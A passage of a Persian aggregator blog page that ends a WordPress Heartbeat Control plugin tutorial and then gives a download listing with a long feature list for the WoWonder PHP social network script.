یک Role جدید بسازید تا Role 1 ایجاد شود. سپس از بخش Heartbeat behavior گزینه Disable Heartbeat را فعال کنید تا ضربان قلب وردپرس کاملا غیر فعال شود.

مدیریت Heartbeat وردپرس با افزونه Heartbeat Control

تغییر فرکانس زمانی Heartbeat وردپرس

تمام Role ها را حذف کنید سپس یک Role جدید ایجاد کرده و گزینه Heartbeat behavior را روی Modify Heartbeat قرار دهید تا بتوانید فرکانس را تغییر دهید.

سپس تیک تمام گزینه‌ها را از بخش Locations فعال کرده و نمودار فرکانسی را به دلخواه خودتان تغییر دهید.

مدیریت Heartbeat وردپرس با افزونه Heartbeat Controlبه همین راحتی می‌توانید ضربان قلب وردپرس رو کم یا زیاد کنید. 🙂

نوشته مدیریت Heartbeat وردپرس با افزونه Heartbeat Control اولین بار در بیست اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب

دانلود نسخه Ultimate اسکریپت شبکه اجتماعی WoWonder ورژن v2.0.3.1
[ad_1]

دانلود نسخه Ultimate اسکریپت شبکه اجتماعی WoWonder ورژن v2.0.3.1

WoWonder یک اسکریپت شبکه اجتماعی PHP است که به شما امکانات متعددی را برای داشتن و مدیریت یک شبکه اجتماعی حرفه ای خواهد داد، WoWonder یکی از بهترین گزینه ها برای داشتن یک شبکه اجتماعی حرفه ای است.

WoWonder تمامی ویژگی های لازم برای راه اندازی یک شبکه اجتماعی کامل را در اختیار شما قرار خواهد داد که به برخی از این ویژگی ها اشارهخواهیم کرد.

ویژگی های اسکریپت شبکه اجتماعی WoWonder ورژن v2.0.3.1

  1. WoWonder سریع، امن است و به طور مرتب به روز می شود.
  2. سیستم عملکرد بالا و کش قدرتمند
  3. کنترل پنل مدیریتی قدرتمند
  4. سیستم مدیریتی پولی و مالی قوی
  5. سیستم چت و گفتگو
  6. پیدا کردن دوستان نزدیک
  7. پشتیبانی از زبان شیرین فارسی و زبان هایی که از راست به چپ نوشته می شوند
  8. دارای ایموجی های حرفه ای و زیبا
  9. با WoWonder شما می توانید از طریق وب سایت های معروف ترین رسانه های اجتماعی مانند (فیس بوک – توییتر – Google+ – LinkedIn – Vk – Instagram) وارد شوید.
  10. آخرین وضعیت آنلاینی
  11. دریافت اعلان ها
  12. پشتیبانی از سیستم دوستیابی فیس بوک و …
  13. پروفایل کاربری را با پست ها، عکس ها، فیلم ها ارسال و به اشتراک گذاشته شده توسط کاربر نمایش می دهد.
  14. کاربر می تواند صفحات نامحدود ایجاد کند و از دوستان خود دعوت کند که صفحات را دوست دارند.
  15. کاربر می تواند گروه های نامحدود ایجاد و دعوت / اضافه کردن دوستان خود را به گروه های متحد خود.
  16. کاربر می تواند بازی های فلش نامحدود را بازی کند.
  17. کاربر به راحتی می توانید فیلم ها را از بزرگترین سایت های به اشتراک گذاری فیلم ها مانند یوتیوب، Dailymotion، Vine، Vimeo، فیس بوک و فیلم ها به اشتراک بگذارید.
  18. البوم عکس
  19. کاربر می تواند آلبوم عکس نامحدود با سبک به دنبال نگاه ایجاد کنید.
  20. عکس جلد
  21. پوشش پویا برای کاربران.
  22. تصویر نمایه
  23. تصویر پروفایل پویا برای کاربران.
  24. حریم خصوصی کاربر
  25. کنترل کسانی که می توانند پیام شما را ارسال کنند، در زمان بندی خود پست کنند، به دنبال شما باشند، درخواست های دنبال شده را تایید کنند یا نه، آخرین بار دیده شوند، و غیره
  26. مشخصات پروفایل کاربر
  27. اطلاعات پروفایل کاربر (تولد، وب سایت، جنسیت، رسانه های اجتماعی، در مورد، آخرین بار دیده شده، و غیره) را نمایش می دهد.
  28. اطلاعیه
  29. دریافت اعلان از کاربران (دوست، نداشتن، نظر، عجایب، سهام .. و غیره)
  30. #hashtags
  31. نمایش موضوعات مورد علاقه و مرتبط با کاربران را به اشتراک می گذارد.
  32. Mentions
  33. ازusername برای نشان دادن افراد در یک وضعیت یا پیام استفاده کنید.
  34. ناشر پست
  35. وضعیت، ابر صوتی، یوتیوب، وین، Google Maps، فیلم ها، فایل ها، عکس ها و شکلک ها.
  36. حذف و ویرایش پست ها
  37. کاربر می تواند پست های خود را حذف و ویرایش کند.
  38. ذخیره پست ها
  39. کاربر می تواند پست ها را برای مشاهده آنها بعدا ذخیره کند.
  40. رویدادهای کاربر
  41. کاربر می تواند وقایع خود را مانند احساسات / سم زدایی / تماشای / بازی / گوش دادن به اشتراک بگذارد.
  42. جستجوی اخیر
  43. هرچند که کاربر به دنبال آن بود، همه در جستجوهای اخیر با توانایی پاک کردن آنها ذخیره خواهند شد.
  44. حفظ حریم خصوصی
  45. کاربر می تواند حریم خصوصی را انتخاب کند (فقط من، هر کس .. و غیره)
  46. مانند یا بر خلاف پست. مشاهده لیست افرادی که این را دوست دارند.
  47. یک پست دوست نداشتن مشاهده لیست افرادی که این را دوست ندارند
  48. نظر در مورد پست، پاسخ به نظر، مشاهده تمام نظرات پست.
  49. جستجو برای افراد، #Hashtags با سیستم جستجوی فیلتر شده ما.
  50. گزارش ها
  51. گزارش پست ها توسط مدیران بررسی می شود.
  52. چت زنده
  53. سیستم چت زنده در زمان واقعی، (آنلاین، آفلاین) وضعیت.
  54. پیام ها
  55. ارسال و دریافت پیام های خصوصی و به اشتراک گذاری فایل ها از سایر کاربران.
  56. API
  57. بازیابی اطلاعات کاربر، پست های کاربر، جستجو برای کاربران از طریق API.
  58. فعالیت ها
  59. آخرین فعالیت های کاربر (دوست، اشتراک، نظر، عجایب) را نمایش می دهد
  60. چند زبان
  61. ۴ زبان (عربی، انگلیسی، روسی، ترکی) با توانایی اضافه کردن زبان های نامحدود.
  62. پروفایل های تایید شده / صفحات.
  63. کاملا پاسخگو برای همه دستگاه ها، مرورگرها.
  64. بازیابی رمز عبور از طریق ایمیل.
  65. نظر سنجی اتوماتیک
  66. سیستم دوست یابی و دنبال کردن دوستان
  67. امنیت و حریم خصوصی کاربران
  68. ذخیره پست ها

دانلود با لینک مستقیم از سرورهای قدرتمند کمیاب اسکریپت

نوشته دانلود نسخه Ultimate اسکریپت شبکه اجتماعی WoWonder ورژن v2.0.3.1 اولین بار در کمیاب اسکریپت. پدیدار شد.

[ad_2]

لینک منبع مطلب